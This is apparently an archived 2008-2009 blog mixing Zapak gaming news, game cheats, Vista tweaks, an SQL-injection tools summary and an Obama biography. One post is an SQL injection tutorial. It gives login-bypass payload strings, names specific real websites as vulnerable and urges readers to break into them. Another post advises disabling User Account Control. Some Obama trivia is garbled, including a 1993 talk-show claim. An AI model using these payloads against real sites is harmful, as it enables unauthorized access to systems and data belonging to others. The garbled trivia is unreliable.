Hyponnen also warned users off Adobe's own software for reading PDF files. "You don't want to read your PDF files with Adobe Reader because everybody is using it, get something else," he warned.

We were awaiting comment from Adobe, Mozilla and Microsoft at the time of writing.

Hypponen was speaking as part of an interview on internet security that will appear in issue 176, which goes on sale on 15 April.

Need For Speed Most Wanted Zapak Cheats

2009-03-28T22:42:00.002+05:30

Enter these cheats where “click to continue” is written:

CASTROL-gives a Ford GT Syntec in your bonus cars

GIVEMETHEGTO-releases the GTO

BURGERKINGS-gives a bonus challenge series

IAMMOSTWANTED-unlocks all cars

Also See:

Zapak.com awarded ‘India's Website of the Year 2008’ by Nielsen

2009-03-28T22:39:00.000+05:30

Zapak.com, India's largest online gaming portal has bagged the award for ‘India’s website of the year 2008’. Europe’s largest online research agency Metrix Labs in association with Nielsen Online conducts annual web awards. It invites users to vote and over 1.5 million users voted this year.

Zapak has won 2 awards, the Quality Rating based award - Best Fun & Games Site and Popular award - Most Popular Fun & Games Site.

The prize for Best Website goes to the sites which scores the highest average amount of stars on Content, Navigation and Design. The Most Popular Sites received the highest number of votes.

Rohit Sharma, Chief Operating Officer, Zapak Digital Entertainment Ltd. said “Zapak has started a Gaming revolution in India. This is proven by the fact that there are more than 6 million registered users and 250+ brands residing on the portal today. Our endeavour is to offer our Indian community with the best in gaming always and we are glad that our users have acknowledged our product offering and voted it as the best.”

It is a double whammy for Zapak. Earlier this year, Zapak had bagged the ‘Brand Leadership Award for the Internet Business in India’. Zapak.com, both as a brand and a product has created a strong and robust identity for itself in the country.

Gaming Industry is Recession Proof

2009-03-28T22:20:00.004+05:30

“The Gaming Industry is Recession Proof”

…Said the bigwigs of gaming at the India Gaming Summit 2008

Zapak Digital Entertainment Ltd, India’s largest online gaming portal, a Reliance ADA Group company along with Intel presented The India Gaming Summit 2008 on 21st November ’08 at Nehru Centre, Mumbai which was a grand success. There were panelists from Zapak, EA, Intel, Reliance Entertainment, F X Labs, Kreeda, Channel [V] and more. While the economy is getting affected by the global economic slowdown, the gaming industry is not touched by it. All the Gaming companies that were present at the summit believed that “The Gaming Industry is recession proof” and the growth of the gaming industry was highlighted along with the statistics.

Intel recently launched the fastest desktop processor on the planet - Core i7 for speeding video editing, immersive gaming and other activities up to 40 percent without increasing power consumption. The Core i7 processor is the first member of a new family of Nehalem processor designs and new technologies that will boost performance on demand. EA Sports launched their much awaited NFS Undercover and FIFA 09 where one can tackle and shoot their way to victory with a game that will deliver real football action.

With the industry projected to touch US$200 mn by 2011 (Nasscom 2007), the India Gaming Summit 2008 was held to broadly address this projection. The Summit overall was very interactive with panel discussions by the speakers of each sessions. The sessions were informative and gave an in-depth insight into the gaming industry, gaming industry being recession proof, its growth along with the statistics, future of gaming industry, the opportunities and challenges faced, the different platforms on which gaming can be done and how marketers and advertisers can look at gaming as an innovative medium. All sessions ended with a question answer session from audience.

During the Summit, there were discussions that ranged from the present scenario of Gaming in India, the future of gaming in India, and also what will be the key factors that will drive the industry to its maximum limits. The summit was divided into 4 sessions which was focused on different aspects of the gaming industry in India.

The key spokespersons for the event were Mr. Amit Khanna, President of Reliance Entertainment Ltd., Mr. Rohit Sharma of Zapak Digital Entertainment Ltd. and Mr. Prakash Bagri of Intel.

Other speakers for the event included representatives from Kreeda, Microsoft, FX Labs, Intel, Reliance World, Zapak, Paymate, Contest2win, EA Sports, Jump Games, Excel Productions, Mindshare, Interactive Avenues and Channel V.

According to Mr. Prakash Bagri, Intel, “Intel has a range of world class products straddling the gamut of user requirements. We are especially pleased to be able to address the extremely demanding requirements of the gaming industry and community at large with the launch of the Core i7 processor based on Intel’s new Nehalem microarchitecture, aptly called the “Fastest Processor On The Planet”. This community also helps drive enhancements in our products; one example of that is the Core i7 where we have custom built several capabilities specifically for gamers.

Gaming today is a serious business and has largest revenue of 40 billion $. 40% online gamers are women & the gaming revenue are expected to reach 60 million$ by 2010. Thus gaming industry today is a profitable business proposition. Intel is therefore pleased to drive this industry extending its partnership with Zapak to bring forward the India Gaming Summit again. The collaboration and engagement with the industry, along with the broad availability of Intel products and tools will help spur local innovation as well as provide gamers and content creators more opportunities.”

He further added that “The India Gaming Summit is a platform for the gamers and gaming companies (Hardware and Software) to promote gaming in India which has a huge potential.”

According to Rohit Sharma, Chief Operating Officer, Zapak Digital Entertainment, “Gaming Industry in India is recession proof. We at Zapak itself are expanding our business; we recently launched www.zapakworld.com – a global casual gaming website, we soon plan to launch our casual gaming portals in Pakistan, Brazil and Russia. We have successful 51 gameplexes across the country and are increasing the count at a rapid speed. Zapakgirls.com has been relaunched with 2000+ games dedicated for women gamers which is doing fantastically well. All in all there is a lot to look forward to from Zapak and we are not slowing down.

Worldwide gaming being the largest entertainment revenue generator, in India gaming is one of the top five usage models on the Internet. Gaming in India is not at a nascent stage anymore. It is young and growing. For the rapid growth of this industry and to put India on the global Gaming map, the companies in our country who have taken gaming as a serious business need to face the challenges and recognize opportunities together. This will aid the country to move forward globally. There is no platform which brings all key gaming contributors together. Therefore the India Gaming Summit has been introduced which in a small way does just that.”

He further added that,

“The PC penetration and the broadband penetration are the determining factors for the growth of gaming industry in India. The Gaming industry in India is getting more and more aggressive in the country.”

Ajay Khanna, General Manager, EA was a panelist for the 3rd session – Platform Wars. He said, “The India Gaming industry has grown from being a niche segment in the past 3 years into a mainstream entertainment segment today, at least among urban youth. 2009 will be a point of inflexion as we see continued growth in consoles and PC gaming, as well as online and mobile. Some of EA's titles like Need for Speed Undercover and FIFA 09 are the most popular games in India across all formats, and we'll continue to promote these and our 40+ titles across the country.”

India Gaming Summit 2008 presented by Zapak and Intel was a grand success. The contributors to the summit did it great justice. Important issues about the gaming industry were raised; and innovative ideas were discussed. The summit was a great platform to get an insight on the Indian gaming industry from veterans from diverse industries.

About Zapak Digital Entertainment Ltd.:

Zapak is the only gaming company in India to create a complete value chain for Online Gaming. With currently over 6 million registered gamers Zapak has created the largest database for Casual Gaming in the country. In its endeavor to complete the value chain Zapak has launched Zapak Cards, which serve as a micro payment option, allowing gamers to purchase games from the portal. Zapak Gameplexes have also been introduced, with world-class ambience to provide better enabled access points to gamers. There are currently 51 Gameplex across India, with plans to increase the number to 500 by the end of 2008. Zapak Games, focusing on gaming merchandise has successfully re-launched movie based merchandise with innovative packs; it has also launched merchandise around a popular TV animation called Bakugan. Zapak plans to bring to India some of the world’s best MMOG titles by internationally renowned developers. There are plans to introduce atleast 5-6 MMOG’s with 3 titles to be launched this year the first title in the series being ‘Crazy Kart’ in association with Shanda Interactive Entertainment Ltd.

Playing games is Good for mind !

2009-03-03T17:46:00.000+05:30

The good news is that it has now been proved that video games can be beneficial!

Kids who regularly played video games showed better problem-solving abilities than those who did not.

Photo: M. Vedhan

Deeply engrossing : Fast and furious.

Next time your parents tell you not to ‘waste time’ on all those computer games, you can say, “But it’s good for me!” And you could be right, not cheeky. Papers read by experts in human behaviour at a conference of the American Psychological Association, said students in Stds. V to VII who regularly played video games showed better problem-solving abilities than those who did not.

It worked for college students too — as well as adults like surgeons, whose skill with their hands improved if they played games that called for quick wrist control. So the message seems to be: you are never too old to play video games!

That is not to say that adults and the young can or should play the same games. Unfortunately there are so many thousands of games out there — on the Internet, at games arcades or games that need special machines like the PlayStation or XBox. Another survey, found that almost one in five of those who bought very popular (but very violent) adult games like “Grand Theft Auto” were school children.

Fun and safe

That is why it is so important to look in the right place for games you can play — at your age — or get help from parents in finding them. For most of us games consoles are too costly — and elders don’t like us going to games arcades. The best option is Internet. The popular Internet site Yahoo has created a site for children (http://kids.yahoo.com/games) which is both fun and safe. The largest Indian games site is Zapak ( www.zapak.com ) and it has a huge selection of games for all ages... including games based on current cricket series or the Olympics. But some one has to scan them and decide what is fine for one’s kids, depending on age and taste.

The other Indian resource is India games ( www.indiagames.com ) which has a subscription service so you can be sure you get just the games that are okay for you. Both these sites also offer games on CD or DVD which is great because once you have them your parents don’t need to waste money on Internet time.

Sometimes one can nicely combine information and entertainment (infotainment) . And the great news is some of the best such sites on the Internet are products of Indian brains. A young engineer from Kerala, Joseph Pally, who went to the U.S. for higher studies, stayed back to create a web site called “Zcubes” ( www.zcubes.com ).

It is an awesome page where you can browse, paint, draw, play, prepare school project work and presentations with lovely pictures and funny text ... in fact many of the users are teachers! Check it out — it’s all free... The other really exciting news is about a site called Toondoo ( www.toondoo.com ) created by a team in Chennai. The Product Manager Shankar says the site is a great place to create your own comic strip or cartoons.

With games like these, homework will never feel like — work!

Source: Hindu

Neil launches Aa Dekhen Zara game

2009-03-03T17:43:00.000+05:30

"I am an avid gamer. I play games to take a break from work and to de-stress. In fact, I carry my laptop around all the time. During lunch breaks, I eat with one hand and play with the other," said Neil Nitin Mukesh at the launch of an online casual game based on his forthcoming movie Aa Dekhen Zara.

The game will be hosted on the online portal Zapak.com. Neil, whose favourite games include cricket and NFS, also felicitated the winners of Gillette Mach3 Turbo India Gaming Championship '09. The month-long gaming tournament showcased some of the most popular casual games like cricket, tennis, street soccer and hardcore games like NFS and Fifa '08.

In another instance of Bollywood going online to reach larger audiences, Zapak recently unveiled a website and two online games based on the movie 13B. The games have been titled 'Bhooth Attack' and 'Halloween Ghost Hunter'. Commenting on the response, Zapak CMO Arun Mehra said, "This is a case study as far as online movie marketing goes. Zapak had a two-step strategy for the website. The first step was to reach out to the online community interested in horror. The second step was to make people aware of the movie 13B which happened simultaneously when users accessed horror stories on the website."

SQL Injection overview

2009-02-09T00:21:00.001+05:30

What is SQL Injection?
SQL injection is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. Web pages which accepts parameters from user, and make SQL query to the database, are targeted. For Example, A web page with username and password, fires SQL query on the database to check whether a user has entered valid name and/or password or not. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

What is Required?
1) Any Web Browser
2) Some Basic SQL (Structured Query Language) Queries such as 'SELECT', 'INSERT', 'UPDATE', 'DELETE', etc. along with their attributes (i.e Syntax).

What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP/ASPX page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

Everything between the

tags have potential parameters that might be useful.

You should look for pages like ASP, ASPX, JSP, CGI, or PHP.
Try to look especially for URL that takes parameters, like:
http://example.com/login.asp?id=10

Is it Vulnerable?
Start with a single quote trick. Input something like:
hi' or 1=1--
Into login, or password, or even in the URL. Example:
Login: hi' or 1=1--
Pass: hi' or 1=1--
http://example.com/login.asp?id=hi' or 1=1--

You can do this with a hidden field, just view the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly.
Example:

If luck is on your side, you will get login without any login name or password.

But why ' or 1=1-- ?
Take an asp page that will link you to another page with the following URL:
http://example.com/search.asp?category=sports
In this URL 'category' is the variable name and 'sports' is it's value.
Here this request fires following query on the database in background.
SELECT * FROM search WHERE category='sports'
Where 'search' is the name of table which is already present in some database.
So, this query returns all the possible entries from table 'search' which comes under the category 'sports'.

Now, assume that we change the URL into something like this:
http://example.com/search.asp?category=sports' or 1=1--
Now, our variable 'category' equals to "sports' or 1=1-- ", which fires SQL query on database something like:
SELECT * FROM search WHERE category='sports' or 1=1--'
The query should now select everything from the 'search' table regardless if category is equal to 'sports' or not.
A double dash "--" tell MS SQL server to ignore the rest of the query, which will get rid of the last hanging single quote (').
Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try
' or 'a'='a
It should return the same result.
Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
'or''='

Countermeasures ?
Filter out character like ' " - / \ ; NULL, etc. in all strings from:
* Input from users
* Parameters from URL
* Values from cookie

Some Sites On which SQL works

Now lets try this sql injection on some sites ..

First site i found is RIL ( reliance industry limited )... a very big site but still its prone to SQL injection even a lay man can hack this site for admin privilege..u dont belive me ..ok check it out .. click here ... open this page ( note : u shd have firefox to hack this site on IE this trick does't work ) ... ok open this page and in user name column type ' or 1=1-- and copy this and paste this in password section too and press enter ... tada u have hacked the site ...

next site i'm gonna discuss in sirfdosti.com its a site like orkut ( social networking site) this site can be hacked through SQL injection . After opening the site type h' or '1'='1 and copy this and paste in password section too ..tada ..u have hacked another site ..its simple is't it ?but it is result of poor SQL programming ...i know many more sites like this ...some are ww.kmcollege.com ( its one of the college in delhi) , aamirkhan.com ( its a official site of amir khan ) ...

Sony Ericsson partners Zapak, Xbox for 'World Gaming Day'

2009-02-09T00:13:00.001+05:30

Mobile phone company Sony Ericsson today said it has partnered gaming portal Zapak.Com and Microsoft XBOX 360 for' World Gaming Day', scheduled for February 12.

' World Gaming Day&apos-- the first of its kind global initiative from India would be jointly promoted across mediums by Zapak.Com, Sony Ericsson and Xbox 360 and is intended to be an annual feature," Sony Ericsson Mobile Communications India General Manager Sudhin Mathur told reporters here. Various contests and activities would be organised and the event will be marketed across various mediums -- TV, radio and online in India, he added. The gaming industry worldwide is estimated to touch USD 46.5 billion by 2010, according to the PWC Media Outlook 2007-2011. The gaming industry in India is poised to touch USD 200 million by 2011, according to Nasscom.

SQL injection ~

2008-12-25T00:53:00.004+05:30

SQL Injection : "The act of entering malformed or unexpected data (perhaps into a front-end web form or front-end application for example) so that the back-end SQL database running behind the website or application executes SQL commands that the programmer never intended to permit, possibly allowing an intruder to break into or damage the database."

The MSRC released an advisory recently that discusses the recent SQL injection attacks and announces three new tools to help identify and block these types of vulnerabilities. The advisory discusses the new tools, the purpose of each, and the way each complements the others. The goal of this blog post is to help you identify the best tool to use depending on your role (i.e. Web Developers vs. IT administrators).

Web Developers Recommendations

* The Microsoft Source Code Analyzer for SQL Injection (MSCASI) is a static code analysis tool that identifies SQL Injection vulnerabilities in ASP code (ASP pages are the ones that have been under attack). In order to run MSCASI you will need source code access and MSCASI will output areas vulnerable to SQL injection (i.e. the root cause and vulnerable path is identified). In our view, fixing the root cause of the bug is the best way to eradicate vulnerabilities. MSCASI scans ASP source code and generates warnings for first order and second order SQL Injection vulnerabilities. Please refer to the SQL team’s blog and KB 954476 for more details.

IT/Database Administrators Recommendations (as well as Web developers)

We are recommending two of the new tools announced today. One can help identify SQL injection vulnerabilities by crawling the website. The other one aims to block potential SQL injection attacks by filtering malicious requests. The website crawler will be useful if you don't have access to the source code.

* Microsoft worked with the HP Web Security Research group to release the Scrawlr tool. The tool will crawl a website, simultaneously analyzing the parameters of each individual web page for SQL Injection vulnerabilities. Scrawlr uses some of the same technology found in HP WebInspect but has been built to focus only on SQL Injection vulnerabilities. This will allow an IT/DB admin to easily find vulnerabilities similar to the ones that have been used to compromise sites in recent attacks. No source code is required to run this tool. From a starting URL, the tool recursively crawls that URL in order to build up a site tree that will be then analyzed for SQL injection vulnerabilities. For more information check out the HP Web Security Research blog.

* In order to block and mitigate SQL injection attacks (while the root cause is being fixed), you can also deploy SQL filters using a new release of URLScan 3.0. This tool restricts the types of HTTP requests that Internet Information Services (IIS) will process. By blocking specific HTTP requests, UrlScan helps prevent potentially harmful requests from being executed on the server. It uses a set of keywords to block certain requests. If a bad request is detected, the filter will drop the request and it will not be processed by SQL. That said, if a SQL injection flaw has been identified, we highly encourage you to fix the root cause of the problem instead of attempting to produce the perfect filter (since in our view this is error prone). Please refer to one of the two IIS blog posts (1, 2) and the technical documentation for more details.

Tool Name: MSCASI
Usuage:Identifies SQL Injection vulnerabilities in ASP code through static source code analysis.
Pros:Identify the root cause of the bug at the source code level.
Cons:This version currently only works on ASP pages.
For: WEB Developers

Tool Name 2: Scrawlr
Usuage:Detect SQL vulnerability using runtime analysis by crawling a website.
Pros:No source code is required.
Cons:Cannot identify the line of code responsible
For: IT/DB Administrator,Web developers

Tool Name 3: UrlScan v3.0 Beta
Usuage: Runtime filtering that blocks the types of HTTP requests that Internet Information Services (IIS) will process.
Pros: URLScan filter can be easily deployed to mitigate SQL injection attack while the root cause is being fixed.
Cons: Not fixing the root cause, thus the risk has not been eliminated completely.
For:IT Administrators.

Article by Dhanush Koutilya

Google tests secret operating system ~

2008-12-25T00:46:00.002+05:30

Something's stirring in the Googledome. According to web analysts Net Applications,

Google operating system. Thrillingly, it's an OS that leaves no trace behind.

Says Net Applications' spectacularly named Vince Vizzaccaro: the operating system that some 6,000 Google employees are currently testing has had its user agent string data surgically removed.

By so carefully binning the user agent string from its OS, Google has ensured that other, less sensitive data is retained. Or to put it another way, it's the perfect security setup for an operating system based in the cloud.

Rumours about a Google operating system have been in the blogosphere since Adam was a lad (asking Santa for a T-Mobile G1). And the launch of Google Chrome and Google Android brought it to within touching distance.

Android is, of course, a bone fide OS already, and Google never intended it to be restricted to phone handsets. Perhaps more significantly, as we said at launch, Chrome itself may be more operating system than browser.

After all, in this post-Windows Vista, Linux-infested, netbook-enabled world there's little that Windows natively does that Google hasn't at least attempted to punt in the cloud. And there are plenty of Microsoft Office features Microsoft charges hundreds of quid for that Google offers for free. In principle, all your hardware need do is run Chrome and access the web.

No-one could claim that Google is close to offering even a mature productivity suite, never mind an operating system. But its putting the pieces in place.

And as far as the great unwashed is concerned, Google has one great advantage that Microsoft is unlikely ever to enjoy: its commercial model. Users tend to be a great deal more forgiving of software that's free, than that they're forced to shell out a mint for.

CBSE Sample Papers Guess Papers Important Questions Syllabus Datesheet 2009 2010

2008-12-24T19:09:00.000+05:30

I want to announce CBSE blogs, which contains Latest cbse sample papers, guess papers, important questions , syllabus and datesheet.

www.iCBSE.blogspot.com

www.iCBSE.wordpress.com

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Great Tweaks for Windows Vista !

2008-11-26T17:21:00.000+05:30

Love it or hate it, Windows Vista is here to stay as the default operating system for those buying PC laptops on the market today. We all know Vista requires more hardware power, such as 2GB of RAM being almost a necessity to get decent performance, but are there Vista OS and software tweaks you can do to improve performance without buying better hardware? There certainly are, and our forum members are working together to collect them all.

1. Disable TMM

This tweak is responsible for about a 3-5 second delay and blank screen flash when you start Vista. It searches for external monitors but is unnecessary.

If you are not using an external monitor, or don't switch back and forth always then turn TMM off. This is responsible for a 3-5 second pause and blank flash you get when turning your computer on.

Here's how to fix that annoying black flicker on boot:

Go start/control panel/administrative options/task scheduler.
1. On the left-hand side, click "Task Scheduler Local" (you should already be there, but just in case).
2. Expand "Task Scheduler Library," then "Microsoft," then "Windows," then click "MobilePC."
3. Up top, you'll see a task called "TMM." Click it, and on the right-hand side, click "Disable."
4. You're done!

Start time reduced and blank flash gone!!!!

2. Use TuneXP 1.5 (TY and Rep Trebuin) (Click here)

This little XP program works great on Vista and reduces your boot time by reorganizing it. The program is phenomenal and has no side effects except a much quicker start speed. As you get more knowledgeable, there are a bunch of other great utilities in the program. Basically, it takes all your boot files and places them at the front of the disk.

This is the best tweak in our arsenal as there are several reports that it will cut your start time in half. I have verified this with my Vista 64-bit startup (20 seconds) and have cut my sons 32-bit Vista startup time in half to 40 seconds.

I use it on both my Vista 32 and 64 bit systems and it works great. Word to the wise though, dont use later versions. This version is the only tested for this.

Install the program and if asked to select a drive, select 'C'
Go to Memory and File System and Click on Ultra-Fast booting (it may appear to freeze but it's working)
Once it's done, it will inform you not to reboot your system until defragmentation is complete
Bring up your Task Manager from your system tray by right clicking in the tray bottom right and select Task Manager
Go to processes
You will see two processes relating to defrag. Dont restart your machine until they dissappear.

3. Disable Vista Search Indexing

All versions of Vista have Search Indexing enabled by default which is an unneeded resource for most. Its function is to continuously update files on your system so that they can be made available for faster searching. Unfortunately, this takes its toll on system performance which is why its listed in several tweaking programs as a top teak; I agree totally.

To disable Windows indexing:

Click Start, then computer;
Right click on Local Disk 'C:'
Left click on Properties;
Uncheck 'Index this Drive for Faster Searching';
Let it complete and select 'Include subfolders and files' in any subsequent dialog box

From here we will go one step further and turn off Windows Search in your services

Click on start/run and type in 'MSConfig' and hit ok
Click on Services tab and find Windows Search
Uncheck/Apply and Ok, you're done!!!

If you think you'll need search, don't mess with this, but if not it's a great way to speedup your system.

4. Get CCleaner, it Works with 32/64Bit (Click here)

CCleaner (formerly Crap Cleaner) is a freeware system optimization and privacy tool. It removes unused and temporary files from your system - allowing Windows to run faster, more efficiently and giving you more hard disk space. The best part is that it's fast (normally taking less than a second to run) and Free!

It cleans the following:

Internet Explorer Cache, History, Cookies, Index.dat
Recycle Bin, Temporary files and Log files
Recently opened URLs and files
Third-party application temp files and recent file lists (MRUs)
Including: Firefox, Opera, Media Player, eMule, Kazaa, Google Toolbar, Netscape, Office XP, Nero, Adobe Acrobat, WinRAR, WinAce, WinZip and more...

It also contains an 'Advanced Registry Scanner' and cleaner to remove unused and old entries to include File Extensions, ActiveX Controls, ClassIDs, ProgIDs, Uninstallers, Shared DLLs, Fonts, Help Files, Application Paths, Icons, Invalid Shortcuts and more...

There is also a Windows Startup editor as well as a back-up tool just in case you delete something your not supposed to.

5. Turn Off User Account Control (UAC)

This tweak is best followed after a 'clean' install with respect to the below listed advisory.

One of the most annoying things in Vista is the protection of your system through UAC. Before I knew how to disable it I considered throwing the system out the window. The purpose of UAC is to make you confirm a large number of everyday functions in order to somehow protect your system from malware infections. In any case heres how to shut it off (or turn it back on).

Click on start and then click on your username picture top right of the start menu.
Click on 'Turn User Account Control on or off.'
Uncheck (or check) User Account Control, select ok and restart.

Thats it except...

There needs to be a word of caution in turning UAC on and off. There is a process called virtualization that, when UAC is 'on' saves program data files (things like INI files, configuration files, saved game files etc.) within a totally separate area for each individual user. If you then turn UAC off, there have been reports that certain programs may be unable to find that saved data. The truth, in fact, is that the data is still there but only visible to the program in this 'virtualization folder' once UAC has been turned on again.

An example is... If UAC is on and you install some game, and the game then saves files to that program's main directory and subsequently you turn UAC off. Those files may appear to the game that they have been deleted when, in all actuality, they are stored in this folder and only accessible through virtualization when UAC is on.

6. Turn Off Unused Windows Features

This tweak is actually a 'two in one' as it saves disk space by turning off unneeded windows features as well as improving performance by shutting down Remote Differential Compression (RDC). Briefly, RDC monitors changes in files in order to transfer them with minimum compression over a network, thus eliminating the transfer of an entire file which has been already moved. This checking and rechecking can hinder system performance. With respect to the other features that I will suggest shutting off, I myself only leave Games, Ultimate Extras (both self explanatory) and Tablet PC. I choose to leave tablet PC as it enables a little feature called Snipping Tool which I absolutely love. Anyone who hasn't used it, type 'snipping tool' in the 'Run' box and enjoy.

In any case, the tweak is as follows:

Press Start/Control Panel/Classic View and select Programs and Features
Choose 'Turn Windows Features On and Off
You can safely unselect 'Indexing Service, Remote Differential Compression, Tablet PC Optional Components (if you don't want Snipping Tool), Windows DFS Replication Service, Windows Fax & Scan (unless you use Fax through a modem) and Windows Meeting Space.

And if you want to be really smart, DFS Replication duplicates files for use among multiple PCs in a network and keeps them in sync. It's not very useful on a stand alone.

7. Windows Snipping Tool IS AMAZING!

I let the cat out of the bag in the last tweak for #6, so I figured I might as well spill the beans. If you have Vista Premium or above you have a great new tool called Snipping Tool. It enables you to freeze whatever is on your screen and take a picture of it. You may notice that I use this in tons of my threads as it is so easy.

To get to it...

Click Start/All Programs/Accessories and you'll find the tool there, or...
Start 'Run' and type 'snippingtool'.

Just for a bit of a background, this is Microsofts description of 'The Tool'

NOTE: If you delete Tablet PC features from Vista, this will not work!

8. Eliminate Unneeded Startup Programs

When your computer starts, there are a number of programs that start automatically and remain running in the background which steal away much needed memory. They add up in time and although many have no real use to the average user, others can be eliminated from starting automatically and started from the 'All Programs' or 'Quick Launch' menu as required. My best example of this is Messenger (or AIM/ICQ) which starts and hogs valuable resources even when your not using it.

First lets see how to get there to see what we have shall we?

Type 'msconfig' in the Run command (or Windows key + R)
Press Start/Control Panel/Admin Tools/System Configuration/Startup; or
Download this excellent freeware program called Startup Inspector

I personally like the program for the new user because it has a consultant which, not only tells you what each program is, but also tells you which are required by the system, user chosen, recommended, not required or unknown.

Now what can we disable and eliminate from the startup process? This is much an individual choice but I personally have shut down all that start with 'NVIDIA, Messenger, Office, Nwiz, quicktime". Be careful not to turn off important processes, when in doubt don't disable a process, but if it's something obvious and you know you don't want it then disable it.

Barack Obama ~ New US President ( Biography )

2008-11-06T10:33:00.000+05:30

Name: Barack Obama ( aka Barack Hussein Obama, Jr. )

Date of Birth: 4 August 1961, Honolulu, Hawaii, USA

Birth Name: Barack Hussein Obama Jr.

Nickname:

Barry
Bama
Rock
The One

Height

6' 1½" (1.87 m)

Mini Biography

Barack Obama was born to a white American mother, Ann Dunham, and a black Kenyan father, Barack Obama, Sr., who were both young college students at the University of Hawaii. When his father left for Harvard, she and Barack stayed behind, and his father ultimately returned alone to Kenya, where he worked as a government economist. Barack's mother remarried an Indonesian oil manager and moved to Jakarta when Barack was six. He later recounted Indonesia as simultaneously lush and a harrowing exposure to tropical poverty. He returned to Hawaii, where he was brought up largely by his grandparents. The family lived in a small apartment - his grandfather was a furniture salesman and an unsuccessful insurance agent and his grandmother worked in a bank - but Barack managed to get into Punahou School, Hawaii's top prep academy. His father wrote to him regularly but, though he traveled around the world on official business for Kenya, he visited only once, when Barack was ten.

Obama attended Columbia University, but found New York's racial tension inescapable. He became a community organizer for a small Chicago church-based group for three years, helping poor South Side residents cope with a wave of plant closings. He then attended Harvard Law School, and in 1990 became the first African-American editor of the Harvard Law Review. He turned down a prestigious judicial clerkship, choosing instead to practice civil-rights law back in Chicago, representing victims of housing and employment discrimination and working on voting-rights legislation. He also began teaching at the University of Chicago Law School. Eventually he ran as a Democrat for the state senate seat from his district, which included both Hyde Park and some of the poorest ghettos on the South Side, and won.

In 2004 Obama was elected to the U.S. Senate as a Democrat, representing Illinois, and gained national attention by giving a rousing and well-received keynote speech at the Democratic National Convention in Boston. In 2008 he sought the Democratic nomination for the US Presidency.

Spouse

Michelle Obama

(3 October 1992 - present) 2 children

Trivia

His first name comes from the word that means "blessed by God" in Arabic.

In the Kenyan town where his father was born, the long-brewed "Senator" brand of beer has been nicknamed "Obama."

U.S. Senator from Illinois since 3 January 2005.

Won a Grammy for Best Spoken Word for the CD version of his autobiography "Dreams From My Father" (2006).

Lives in Hyde Park (Chicago).

On "Late Night with Conan O'Brien" (1993), he revealed that President George W. Bush nicknamed him "Bama" and "Rock".

The movie he saw on his first date with Michelle Obama was Do the Right Thing (1989).

Related to Park Overall.

Has two daughters, Malia Obama (born in 1998) and Sasha Obama (born in 2001).

Candidate for the Democratic nomination in the 2008 US presidential election.

Several celebrities including; Halle Berry, George Clooney, Sheryl Crow, Bob Dylan, Topher Grace, Macy Gray, Bruce Springsteen, Oprah Winfrey Tom Hanks, Scarlett Johansson, Hayden Panettiere, Zachary Quinto, Eddie Murphy and John Cleese support his 2008 presidential campaign. Robert De Niro gave his endorsement at the same rally where Barack was endorsed by Caroline and Ted Kennedy.

Enjoys playing basketball and poker.

At his wife's suggestion, he quit smoking before his campaign to win the Democratic nomination began.

His paternal relatives still live in Kenya.

Confessed teenage drug experiences in his memoirs "Dreams from My Father".

One of his ancestors was Mareen Duvall, also an ancestor of actor Robert Duvall.

Shares his surname with a small city in western Japan, which means "small shore" in Japanese.

Plays basketball.

Born to Barack Hussein Obama, Sr. (1936-1982) and Ann Dunham (1942-1995), married from 1960 to 1965.

Named one of Time magazine's "100 most influential people in the world" list in 2005 and 2007.

Chosen as one of "10 people would change the world" by New Statesman magazine (2005).

Won his second Grammy Award for Best Spoken Word Album for "The Audacity of Hope" (2008).

On June 3, 2008 he won the Montana primary election giving him enough delegates to become the first Black American presidential candidate to win a major political party's presumptive nomination for the office of President of the United States.

Is a die-hard Chicago White Sox fan.

More than 215,000 people attended his speech in Berlin on 24 July 2008.

Has one half-sister, Maya, born to his mother and stepfather in 1970.

Has his look-alike puppet in the French show "Guignols de l'info, Les" (1988).

Is very distantly related to Lon Chaney.

Personal Quotes

(from DNC keynote speech) "There's not a liberal America and a conservative America. There's the United States of America. We worship an awesome God in the blue states, and we don't like federal agents poking around our libraries in the red states. We coach Little League in the blue states, and have gay friends in the red states. There are patriots who opposed the war, and patriots who supported it. We are one people, all of us pledging allegiance to the Stars and Stripes, all of us defending the United States of America."

And it lives on in those Americans -- young and old, rich and poor, black and white, Latino and Asian and Native American, gay and straight -- who are tired of a politics that divides us and want to recapture the sense of common purpose that we had when John Kennedy was President of the United States of America.

Sometimes I don't know who I'm running against. (about Bill Clinton's support for Hillary Clinton)

[When asked whether he would call on the Clintons to release their tax returns, after Hilary loaned $5 million of her own money to her campaign] I'll just say that I've released my tax returns. That's been a policy I've maintained consistently. I think the American people deserve to know where you get your income from. But I'll leave it up to you guys to chase it down... I think we set the bar in terms of transparency and disclosure that has been a consistent theme of my campaign and my career in politics.

In the unlikely story that is America, there has never been anything false about hope.

When I am this party's nominee, my opponent will not be able to say that I voted for the war in Iraq; or that I gave George Bush the benefit of the doubt on Iran; or that I supported Bush-Cheney policies of not talking to leaders that we don't like. And he will not be able to say that I wavered on something as fundamental as whether or not it is ok for America to torture - because it is never ok. That's why I am in it. As President, I will end the war in Iraq. We will have our troops home in sixteen months. I will close Guantanamo. I will restore habeas corpus. I will finish the fight against Al Qaeda. And I will lead the world to combat the common threats of the 21st century - nuclear weapons and terrorism; climate change and poverty; genocide and disease. And I will send once more a message to those yearning faces beyond our shores that says, "You matter to us. Your future is our future. And our moment is now."

This time we want to talk about the crumbling schools that are stealing the future of black children and white children and Asian children and Hispanic children and Native American children. This time we want to reject the cynicism that tells us that these kids can't learn; that those kids who don't look like us are somebody else's problem. The children of America are not those kids, they are our kids, and we will not let them fall behind in a 21st century economy. Not this time.

Frequently Asked Questions on Barack Obama

Q: Does Barack Obama have any siblings?

A: Obama has a half-sister, Maya Soetoro-Ng. She is a teacher and professor in Honolulu.

Q: What part does Michelle Obama play in her husband's presidential campaign?

